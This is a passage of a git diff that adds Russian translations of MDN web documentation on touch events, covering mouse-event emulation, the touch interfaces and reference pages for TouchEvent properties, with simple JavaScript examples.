+<p>Поскольку вызов <code>preventDefault()</code> для события {{event("touchstart")}} или первого события из серии событий {{domxref("Element/touchmove_event", "touchmove")}} предотвращает запуск соответствующих событий мыши, более распространена практика вызова <code>preventDefault()</code> именно для события <code>touchmove</code>, а не <code>touchstart</code>. Таким образом, события мыши всё ещё будут вызываться, а такие элементы, как ссылки, будут продолжать работать. В качестве альтернативы, в некоторых фреймворках для этой же цели события касаний дублируются событиями мыши.</p>
+
+<p>Данный пример очень упрощён и может привести к странному поведению. Он уместен исключительно как учебный пример.</p>
+
+<pre class="brush: js notranslate">function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length &gt; 1 || (evt.type == "touchend" &amp;&amp; evt.touches.length &gt; 0))
+    return;
+
+  var newEvt = document.createEvent("MouseEvents");
+  var type = null;
+  var touch = null;
+
+  switch (evt.type) {
+    case "touchstart":
+      type = "mousedown";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchmove":
+      type = "mousemove";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchend":
+      type = "mouseup";
+      touch = evt.changedTouches[0];
+      break;
+  }
+
+  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+  evt.originalTarget.dispatchEvent(newEvt);
+}
+</pre>
+
+<h3 id="Вызов_preventDefault_только_при_втором_касании">Вызов preventDefault() только при втором касании</h3>
+
+<p>Один из способов запретить использовать на странице <code>pinchZoom</code> (зум с помощью щипка), – вызвать <code>preventDefault()</code> для второго касания, когда одно касание уже активно. Такое поведение плохо прописано в спецификации событий касаний и приводит к разному поведению в разных браузерах. Например, iOS предотвратит зум, но всё ещё будт позволять перетискивание (panning) двумя пальцами; в Android, наоборот, можно будет осуществлять перетаскивание (panning), но не зум; Opera и Firefox на данный момент предотвращают и перетаскивание (panning) и зум. На данный момент для запрета использования зума рекомендуется полагаться не на какое-то конкретное поведение, а на meta-данные для "viewport".</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Добавлены свойства <code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<h3 id="Touch">Touch</h3>
+
+<p>События касаний обычно доступны на устройствах с сенсорными экранами, но многие браузеры делают API событий касаний недоступными на всех компьютерах, даже имеющих сенсорный экран.</p>
+
+<p>Прочина этого заключается в том, что некоторые веб-сайты используют поддержку данного API в качестве показателя того, что браузер запущен на мобильном устройстве. Если API событий касания доступен, значит эти сайты будут предполагать работу с мобильного устройства и предоставлять соответствующее содержимое, оптимизированное для мобильных устройств. Это может существенно усложнить работу для пользователей десктопов с сенсорными экранами.</p>
+
+<p>Для поддержки и касаний и мыши на всех типах устройств, используйте вместо этого <a href="/en-US/docs/Web/API/Pointer_events">события указателя</a></p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Touch")}}</p>
+
+<h3 id="Firefox_события_касаний_и_многопроцессность_e10s">Firefox, события касаний и многопроцессность (e10s)</h3>
+
+<p>В Firefox события касания отключены, когда отключен e10s (электролиз; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">многопроцессорный Firefox</a>). e10s включен по умолчанию в Firefox, но может в конечном итоге отключаться в определенных ситуациях, например, когда установлены определенные инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.</p>
+
+<p>Вы можете проверить, отключен ли e10s, перейдя в <code>about:support</code> и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включен, 0/1 означает отключен.</p>
+
+<p>Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к <code>about:config</code> и создать новое логическое предпочтение <code>browser.tabs.remote.force-enable</code>. Установите значение <code>true</code>, перезапустите браузер, и e10s будет включен независимо от любых других настроек.</p>
diff --git a/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html b/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html
new file mode 100644
index 0000000000..51bbda0a17
--- /dev/null
+++ b/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html
@@ -0,0 +1,63 @@
+---
+title: Поддержка TouchEvent и MouseEvent
+slug: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent
+translation_of: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent
+---
+<p>{{DefaultAPISidebar("Touch Events")}}</p>
+
+<p>Интерфейс {{domxref("Touch_events","touch")}} позволяет существенно повысить удобство работы с приложением через устройства с сенсорным экраном. Несмотря на это, большинство современного содержимого веба рассчитано только на работу с помощью мыши. Следовательно, даже если браузер поддерживает управление через сенсорную поверхность, он всё равно должен имитировать действия мыши, чтобы функционал, рассчитанный только на действия мыши, продолжал корректно работать.</p>
+
+<p>В идеале, приложения, рассчитанные на управление касаниями, не нуждается в явной имитации действий мыши. Но так как браузер вынужден это делать, могут возникнуть некоторые проблемы взаимодействия, которые должны быть обработаны. Ниже приведены некоторые подробности таких проблем взаимодействия и последствия для разработчиков приложения.</p>
+
+<h2 id="Вызов_события">Вызов события</h2>
+
+<p>Спецификация событий касания определяет несколько требований к браузеру, касающихся действий мышью или касаний сенсорной поверхности (подробнее смотрите в разделе спецификации "<a href="https://w3c.github.io/touch-events/#mouse-events">Работа с событиями мыши и клика</a>"), отмечая, что браузер может вызывать как события касаний, так и события мыши в ответ на одно и то же действие пользователя.</p>
+
+<p>Если в ответ на какое-то действие пользователя браузер вызывает и событие касания и событие мыши, то перед любыми событиями мыши браузер должен вызывать {{event("touchstart")}}. Следовательно, если нужно, чтобы при прикосновении к {{domxref("Touch.target","целевому")}} элементу события мыши не запускались, в обработчике события касания данного элемента нужно вызвать {{domxref("Event.preventDefault()","preventDefault()")}}. После этого никакие дополнительные события мыши не вызовутся.</p>
+
+<p>Ниже представлен пример обработчика события {{event("touchmove")}}, вызывающий <code>preventDefault()</code></p>
+
+<pre class="brush: js notranslate">// touchmove handler
+function process_touchmove(ev) {
+  // Call preventDefault() to prevent any further handling
+  ev.preventDefault();
+}
+</pre>
+
+<h2 id="Последовательность_событий">Последовательность событий</h2>
+
+<p>Хотя фактическая последовательность событий касания и мыши зависит от используемого программного обеспечания, спецификация предписывает придерживаться следующей последовательности:</p>
+
+<ul>
+ <li><code>touchstart</code></li>
+ <li>Ноль или больше событий <code>touchmove</code>, в зависимости от того, было ли движение пальца</li>
+ <li><code>touchend</code></li>
+ <li><code>mousemove</code></li>
+ <li><code>mousedown</code></li>
+ <li><code>mouseup</code></li>
+ <li><code>click</code></li>
+</ul>
+
+<p>Если в течение взаимодействия событие {{event("touchstart")}}, {{event("touchmove")}} или {{event("touchend")}} прерывается, события мыши или клика вызываться не будут, а итоговая последовательность событий будет просто:</p>
+
+<ul>
+ <li><code>touchstart</code></li>
+ <li>Ноль или больше событий <code>touchmove</code>, в зависимости от того, было ли движение пальца</li>
+ <li><code>touchend</code></li>
+</ul>
+
+<h2 id="Сообщество">Сообщество</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/touch-events">Группа сообщества Touch Events</a></li>
+ <li><a href="https://lists.w3.org/Archives/Public/public-touchevents/">Mail list</a></li>
+ <li><a href="irc://irc.w3.org:6667/">IRC-канал W3C #touchevents </a></li>
+</ul>
+
+<h2 id="Связанные_темы_и_ресурсы">Связанные темы и ресурсы</h2>
+
+<ul>
+ <li><a href="/Web/API/Touch_events">Знакомство событиями касания</a></li>
+ <li><a href="/Web/API/Touch_events/Using_Touch_Events">Использование событий касаний</a></li>
+ <li><a href="http://www.html5rocks.com/en/mobile/touchandmouse/">Touch and Mouse (Together Again for the First Time)</a></li>
+</ul>
diff --git a/files/ru/web/api/touch_events/using_touch_events/index.html b/files/ru/web/api/touch_events/using_touch_events/index.html
new file mode 100644
index 0000000000..420a059e64
--- /dev/null
+++ b/files/ru/web/api/touch_events/using_touch_events/index.html
@@ -0,0 +1,154 @@
+---
+title: Использование событий касания
+slug: Web/API/Touch_events/Using_Touch_Events
+translation_of: Web/API/Touch_events/Using_Touch_Events
+---
+<p>{{DefaultAPISidebar("Touch Events")}}</p>
+
+<p>На сегодняшний день бо́льшая часть содержимого в вебе рассчитана на работу с использованием клавиатуры и мыши. Тем не менее, всё больше появляется устройств с сенсорным экраном (особенно мобильных) и веб-приложения могут либо напрямую обрабатывать сенсорный ввод с помощью {{domxref("Touch_events","Событий касаний")}}, либо интерпретировать события мыши. Недостатком использования событий мыши является то, что они не поддерживают одновременный ввод, тогда как события касаний поддерживают несколько одновременных прикосновений (возможно в разных местах сенсорной поверхности), повышая тем самым удобство работы с интерфейсом.</p>
+
+<p>Интерфейсы событий касания поддерживают взаимодействие с приложением с помощью одного или нескольких одновременных прикосновений, такие как жест двумя пальцами. Взаимодействие с помощью нескольких одновременных прикосновений начинается, когда палец (или стилус) впервые касается контактной поверхности. Другие пальцы могут последовательно касаться поверхности и, если нужно, перемещаться по ней. Взаимодействие заканчивается, когда пальцы убираются с поверхности. На протяжении этого взаимодействия приложение получает события касания на начальной стадии, стадии перемещения и стадии завершения. Приложение может применять собственную семантику к сенсорному вводу.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<p>События касаний включают три интерфейса {{domxref("Touch")}}, {{domxref("TouchEvent")}} и {{domxref("TouchList")}}, а также следующие типы событий</p>
+
+<ul>
+ <li>{{event("touchstart")}} - вызывается в момент касания сенсорной поверхности</li>
+ <li>{{event("touchmove")}} - вызывается при перемещении по сенсорной поверхности</li>
+ <li>{{event("touchend")}} - вызывается, если убрали палец</li>
+ <li>{{event("touchcancel")}} -  вызывается в  момент прерывания события (например, создано слишком много точек касания).</li>
+</ul>
+
+<p>Интерфейс {{domxref("Touch")}} представляет собой одну точка контакта с сенсорной поверхностью. Точка контакта обычно называется точкой касания или просто касанием. Касание обычно генерируется пальцем или стилусом на сенсорной поверхности. <a href="/Web/API/Touch#Properties">Свойства</a> точки касания включают уникальный идентификатор, целевой элемент точки касания, а также координаты X и Y точки касания относительно области видимости, страницы или экрана.</p>
+
+<p>Интерфейс {{domxref("TouchList")}} представляет список точек контакта с сенсорной поверхностью, по одной точке касания на каждый контакт с поверхностью. Таким образом, если пользователь активировал сенсорную поверхность одним пальцем, список будет содержать один элемент, а если пользователь прикоснулся к поверхности требя пальцами, в списке будет три элемента.</p>
+
+<p>Интерфейс {{domxref("TouchEvent")}} представляет событие, которое отправляется, когда меняется состояние контактов с сенсорной поверхностью. Изменения состояния включают начальный контакт с сенсорной поверхностью, перемещение точки касания при сохранении контакта с поверхностью, отпускание точки касания и прерывание события касания. Атрибуты интерфейса включают состояние нескольких клавиш-модификаторов (например, клавиши <kbd>Shift</kbd>) и следующий список данных:</p>
+
+<ul>
+ <li>{{domxref("TouchEvent.touches","touches")}} - список всех точек касания, находящихся в данный момент на экране</li>
+ <li>{{domxref("TouchEvent.targetTouches","targetTouches")}} - список точек касания на целевом DOM-элементе</li>
+ <li>{{domxref("TouchEvent.changedTouches","changedTouches")}} - список точек касания, элементы которых зависят от типа связанного события:
+  <ul>
+   <li>Для события {{event ("touchstart")}} - список точек касания, которые стали активными во время события</li>
+   <li>Для события {{event ("touchmove")}} - список точек касания, которые изменились с последнего события</li>
+   <li>Для события {{event ("touchend")}} - список точек касания, которые были удалены с поверхности (то есть, набор точек касания, соответствующих пальцам, которые больше не касаются поверхности)</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Вместе эти интерфейсы определяют относительно низкоуровневый набор функций, но при этом поддерживают множество видов взаимодействия с помощью касаний, включая знакомые жесты с несколькими касаниями, такие как пролистывание несколькими пальцами, вращение, сжатие и масштабирование.</p>
+
+<h2 id="От_интерфейсов_к_жестам">От интерфейсов к жестам</h2>
+
+<p>При определении семантики жеста, приложение может учитывать различные факторы. Например, расстояние, которое прошла точка от начала до конца касания. Другим возможным фактором может быть время, например, количество времени между началом касания и завершением, или количество времени между двумя последовательными касаниями, предназначенными для создания жеста двойного нажатия. Направленность свайпа (например, слева направо, справа налево и т.д) является ещё одним фактором.</p>
+
+<p>Списки касаний, которые использует приложение, зависят от семантики его жестов. Например, если приложение поддерживает однократное касание (тап) одного элемента, будет использоваться список {{domxref("TouchEvent.targetTouches","targetTouches")}} в обработчике события {{event("touchstart")}} для обработки точки касания в свойственной приложению манере. Если приложение поддерживает свайп двумя пальцами для любых двух точек касания, оно будет использовать список {{domxref("TouchEvent.changedTouches","changedTouches")}} в обработчике {{event("touchmove")}} для того, чтобы определить, были ли перемещены эти две точки касания, а затем реализовать семантику этого жеста в свойственной приложению манере.</p>
+
+<p>Когда есть только одна активная точка касания, браузер обычно отправляет эмулированные события и мыши и клика. Мультитач-действия, включающие две и больше активных точек касания, обычно генерируют только события касания. Чтобы предотвратить отправку эмулированных событий мыши, используйте метод {{domxref("Event.preventDefault()","preventDefault()")}} в обработчиках событий касания. Дополнительную информацию о взаимодействии между себытиями мыши и событиями касаний можно найти в статье {{domxref("Touch_events.Supporting_both_TouchEvent_and_MouseEvent", "Поддержка TouchEvent и MouseEvent")}}.</p>
+
+<h2 id="Основные_шаги">Основные шаги</h2>
+
+<p>Этот раздел содержит пример базового использованиея приведённых выше интерфейсов. Более подробный пример можно найти в статье {{domxref ("Touch_events", "События касаний (тач-события)")}}.</p>
+
+<p>Назначьте обработчик событий для каждого типа события касания.</p>
+
+<pre class="brush: js notranslate">// Назначение обработчика событий касания
+someElement.addEventListener('touchstart', process_touchstart, false);
+someElement.addEventListener('touchmove', process_touchmove, false);
+someElement.addEventListener('touchcancel', process_touchcancel, false);
+someElement.addEventListener('touchend', process_touchend, false);
+</pre>
+
+<p>Обработчик события, реализующий семантику жестов приложения</p>
+
+<pre class="notranslate">// Обработчик touchstart
+function process_touchstart(ev) {
+  // Используется данные события, чтобы вызвать соответствующие обработчики жестов
+  switch (ev.touches.length) {
+    case 1: handle_one_touch(ev); break;
+    case 2: handle_two_touches(ev); break;
+    case 3: handle_three_touches(ev); break;
+    default: gesture_not_supported(ev); break;
+  }
+}
+</pre>
+
+<p>Доступ к атрибутам точки касания.</p>
+
+<pre class="brush: js notranslate">// Создание обработчика события "touchstart"
+someElement.addEventListener('touchstart', function(ev) {
+  // Перебор точек события, которые были активированы
+  // для этого элемента и обработчка каждого целевого элемента события
+  for (var i=0; i &lt; ev.targetTouches.length; i++) {
+    process_target(ev.targetTouches[i].target);
+  }
+}, false);
+</pre>
+
+<p>Предотвращение эмуляции событий мыши</p>
+
+<pre class="brush: js notranslate">// Обработчик события "touchmove"
+function process_touchmove(ev) {
+  // Вызов "preventDefault()"
+  ev.preventDefault();
+}
+</pre>
+
+<h2 id="Лучшие_практики">Лучшие практики</h2>
+
+<p>Вот несколько моментов, которых следует придерживаться при работе с событиями касаний:</p>
+
+<ul>
+ <li>Сводите к минимуму объём работы, выполняемой в обработчиках касаний</li>
+ <li>Добавляйте обработчики точек касаний к определённому целевому элементу, а не ко всему документу или узлам, расположенным выше в дереве</li>
+ <li>Добавляйте обработчики событий {{event("touchmove")}}, {{event("touchend")}} и {{event("touchcancel")}} внутрь {{event("touchstart")}}.</li>
+ <li>Целевой элемент или узел для события касания должен быть достаточно большим, для касания пальцем. Если целевая область слишком мала, прикосновений к ней может привести к вызову событий для других прилегающих элементов.</li>
+</ul>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>Согласно <a href="/Web/API/Touch_events#Browser_compatibility">данным о совместимости с браузерами</a>, поддержка событий касания среди мобильных браузеров относительно неплохая. Десктопные браузеры немного отстают, хотя над этим уже ведётся работа. </p>
+
+<p>Некоторые новые функции, связанные с областью касания (областью контакта между пользователем и сенсорной поверхностью) - находятся в процессе стандартизации. Новый функционал включает в себя радиусы эллипса по осям X и Y, которые наиболее точно описывают область контакта с сенсорной поверхностью. <em>Угол поворота</em> точки касания - градус, на который нужно повернуть упомянутый эллипс, чтобы соотвествовать области контакта - также стандартизирован, как и степень давления в точке касания.</p>
+
+<h2 id="А_что_насчёт_Событий_Указателя">А что насчёт Событий Указателя?</h2>
+
+<p><span style="">Внедрение новых механизмов ввода усложняет обработку всех возможных событий, таких как события клавиатуры, мыши, пера, касаний. Чтобы помочь решить эту проблему, </span><a href="http://www.w3.org/TR/pointerevents/">стандарт "Pointer Events"</a><span style=""> определяет события и связанные с ними интерфейсы для обработки ввода с таких указывающих устройств, как мышь, перо, сенсорный экран и т.д. То есть, абстрактный <em>указатель</em> создаёт унифицированную модель ввода, которая может представлять точку контакта пальца, пера/стилуса или мыши. Подробнее в MDN-статье <a href="/ru/docs/Web/API/Pointer_events">События указателя</a>.</span></p>
+
+<p>Модель событий указателя может упростить обработку разных способов ввода, поскольку указатель представляет ввод с любого устройства. В дополнение к этому, типы событий указателя очень похожи на типы событий мыши (например, <code>pointerdown</code> <code>pointerup</code>), таким образом, код для обработки событий указателя полностью совпадает с кодом обработки ввода с помощью мыши.</p>
+
+<p>Статус реализации событий указателя в браузерах <a href="/ru/docs/">относительно высок</a>, поскольку Chrome, Firefox, IE11 и Edge имеют полные реализации.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующие документы описывают, как использовать события касаний и включают код с примерами</p>
+
+<ul>
+ <li>{{domxref("Touch_events","События касаний")}}</li>
+ <li><a href="https://developers.google.com/web/fundamentals/design-and-ui/input/touch/touch-events">Реализация кастомных жестов</a></li>
+ <li><a href="http://www.javascriptkit.com/javatutors/touchevents.shtml">Введение в события касаний в JavaScript</a></li>
+ <li><a href="http://www.codicode.com/art/easy_way_to_add_touch_support_to_your_website.aspx">Добавление поддержки сенсорных экранов на сайта (простой способ)</a></li>
+</ul>
+
+<p>Демонстрация событий касания:</p>
+
+<ul>
+ <li><a href="https://rbyers.github.io/paint.html">Paint Program (by Rick Byers)</a></li>
+ <li><a href="http://patrickhlauke.github.io/touch/">Touch/pointer tests and demos (by Patrick H. Lauke)</a></li>
+</ul>
+
+<h2 id="Сообщество">Сообщество</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/touch-events">Группа сообщества Событий касания</a></li>
+ <li><a href="http://lists.w3.org/Archives/Public/public-touchevents/">Mail list</a></li>
+ <li><a href="irc://irc.w3.org:6667/">W3C #touchevents IRC channel</a></li>
+</ul>
+
+<h2 id="Связанные_темы_и_источники">Связанные темы и источники</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/pointerevents/">Стандарт "Pointer Events"</a></li>
+</ul>
diff --git a/files/ru/web/api/touchevent/altkey/index.html b/files/ru/web/api/touchevent/altkey/index.html
new file mode 100644
index 0000000000..2ec99f56f9
--- /dev/null
+++ b/files/ru/web/api/touchevent/altkey/index.html
@@ -0,0 +1,68 @@
+---
+title: TouchEvent.altKey
+slug: Web/API/TouchEvent/altKey
+translation_of: Web/API/TouchEvent/altKey
+---
+<p>{{APIRef("Touch Events") }}</p>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Логическое ({{jsxref("Boolean")}}) значение, показывающее, была ли активирована клавиша <kbd>alt</kbd> (Alternate), когда событие касания было создано. Если клавиша <kbd>alt</kbd> активирована, значение равно <code>true</code>. В противном случае оно равно<code>false</code>.</p>
+
+<p>Данное свойство предназначено {{readonlyInline}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var <em>altEnabled</em> = <em>touchEvent</em>.altKey;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Возвращаемое значение</h3>
+
+<dl>
+ <dt><code>altEnabled</code></dt>
+ <dd><code>true</code> если клавиша <kbd>alt</kbd> активирована для данного события; и <code>false</code> если нет.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Данный пример демонстрирует доступ к свойствам клавиш-модификаторов события {{domxref("TouchEvent")}}: {{domxref("TouchEvent.altKey")}}, {{domxref("TouchEvent.ctrlKey")}}, {{domxref("TouchEvent.metaKey")}} и {{domxref("TouchEvent.shiftKey")}}.</p>
+
+<p>В фрагменте кода ниже обработчик события {{event("touchstart")}} логирует <span class="tlid-translation translation" lang="ru"><span title="">состояние клавиш-модификаторов события</span></span>.</p>
+
+<pre class="brush: js">someElement.addEventListener('touchstart', function(e) {
+   // Log the state of this event's modifier keys
+   console.log("altKey = " + e.altKey);
+   console.log("ctrlKey = " + e.ctrlKey);
+   console.log("metaKey = " + e.metaKey);
+   console.log("shiftKey = " + e.shiftKey);
+}, false);
+
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#widl-TouchEvent-altKey')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Нестабильная версия.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events','#widl-TouchEvent-altKey')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.TouchEvent.altKey")}}</p>
diff --git a/files/ru/web/api/touchevent/changedtouches/index.html b/files/ru/web/api/touchevent/changedtouches/index.html
new file mode 100644
index 0000000000..0d710b6ad7
--- /dev/null
+++ b/files/ru/web/api/touchevent/changedtouches/index.html
@@ -0,0 +1,133 @@
+---
+title: TouchEvent.changedTouches
+slug: Web/API/TouchEvent/changedTouches
+translation_of: Web/API/TouchEvent/changedTouches
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>{{ domxref("TouchList") }} список точек касания (обьекта {{domxref("Touch")}}), <span id="result_box" lang="ru"><span>смысл которых зависит от типа события</span></span>:</p>
+
+<ul>
+ <li>Для события <code>touchstart</code>, это список точек касания, в которых появилось взаимодействие с поверхностью экрана.</li>
+ <li>Для события <code>touchmove</code>,  это список точек касания, которые изменились с момента последнего события.</li>
+ <li>Для события <code>touchend</code>, это список точек касания, на которых прекратилось взаимодействие с поверхностью экрана (т. е. набор точек,  где прервалось касание пальцами).</li>
+</ul>
+
+<p>Это свойство предназначено {{readonlyInline}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var <em>changes</em> = <em>touchEvent</em>.changedTouches;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Возвращаемое значение</h3>
+
+<dl>
+ <dt><code>changes</code></dt>
+ <dd>Список {{ domxref("TouchList") }} обьекта {{ domxref("Touch") }} в котором содержатся все точки касания для данного события.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример демонстрирует свойство {{domxref("TouchEvent.changedTouches")}} обьекта  {{domxref("TouchEvent")}}. Свойство {{domxref("TouchEvent.changedTouches")}} это — обьект {{domxref("TouchList")}}, который содержит обьект {{domxref("Touch")}} для каждой точки, где произошло событие.</p>
+
+<p>В этом фрагменте кода обработчик события {{event("touchmove")}} выполняет перебор списка  <code>changedTouches</code> и выводит в консоль <span id="result_box" lang="ru"><span>идентификатор каждой точки касания, где произошло изменение с последнего события.</span></span></p>
+
+<pre class="brush: js">someElement.addEventListener('touchmove', function(e) {
+   // Iterate through the list of touch points that changed
+   // since the last event and print each touch point's identifier.
+   for (var i=0; i &lt; e.changedTouches.length; i++) {
+     console.log("changedTouches[" + i + "].identifier = " + e.changedTouches[i].identifier);
+   }
+}, false);
+
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#widl-TouchEvent-changedTouches')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Нестабильная версия.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events','#widl-TouchEvent-changedTouches')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("22.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] События касания были добавлены в Gecko 18.0, но затем удалены в 24.0 {{geckoRelease("24.0")}} в настольной версии Firefox из-за проблем совместимости ({{bug(888304)}}).</p>
+
+<p>[2] Начиная с Gecko 52.0, поддержка событий касания была восстановлена для настольных платформ на базе Windows.</p>
diff --git a/files/ru/web/api/touchevent/index.html b/files/ru/web/api/touchevent/index.html
new file mode 100644
index 0000000000..761204b552
--- /dev/null
+++ b/files/ru/web/api/touchevent/index.html
@@ -0,0 +1,145 @@
+---
+title: TouchEvent
+slug: Web/API/TouchEvent
+tags:
+  - API
+  - DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - touch
+translation_of: Web/API/TouchEvent
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<p>Интерфейс <strong><code>TouchEvent</code></strong> отражает событие {{domxref("UIEvent")}}, возникающее при изменении состояния касаний к сенсорной поверхности. К таким поверхностям можно отнести, например, сенсорные экраны или трекпады. Событие может описывать одну или несколько точек касания экрана и включает поддержку обнаружения движения, добавление и удаление точек касаний и так далее.</p>
+
+<p>Каждое прикосновение представлено объектом {{ domxref("Touch") }}, который содержит данные о позиции, размере, форме, степени давления и целевом элементе. Список прикосновений представлен объектом {{ domxref("TouchList") }}.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("TouchEvent.TouchEvent", "TouchEvent()")}}</dt>
+ <dd>Создает экземпляр <code>TouchEvent</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Данный интерфейс наследует свойства своих предков, {{domxref("UIEvent")}} и {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("TouchEvent.altKey") }} {{readonlyInline}}</dt>
+ <dd>Булево значение, показывающее, была ли нажата клавиша <kbd>alt</kbd>, когда произошло событие касания.</dd>
+ <dt>{{ domxref("TouchEvent.changedTouches") }} {{readonlyInline}}</dt>
+ <dd>Список {{ domxref("TouchList") }}, со всеми объектами {{ domxref("Touch") }}, представляющими отдельные точки касания, состояние которых изменилось между предыдущим событием касания и текущим.</dd>
+ <dt>{{ domxref("TouchEvent.ctrlKey") }} {{readonlyInline}}</dt>
+ <dd>Булево значение, показывающее, была ли нажата клавиша <kbd>ctrl</kbd>, когда произошло событие касания</dd>
+ <dt>{{ domxref("TouchEvent.metaKey") }} {{readonlyInline}}</dt>
+ <dd>Булево значение, показывающее, была ли нажата клавиша <kbd>meta</kbd>, когда произошло событие касания.</dd>
+ <dt>{{ domxref("TouchEvent.shiftKey") }} {{readonlyInline}}</dt>
+ <dd>Булево значение, показывающее, была ли нажата клавиша <kbd>shift</kbd>, когда произошло событие касания.</dd>
+ <dt>{{ domxref("TouchEvent.targetTouches") }}{{readonlyInline}}</dt>
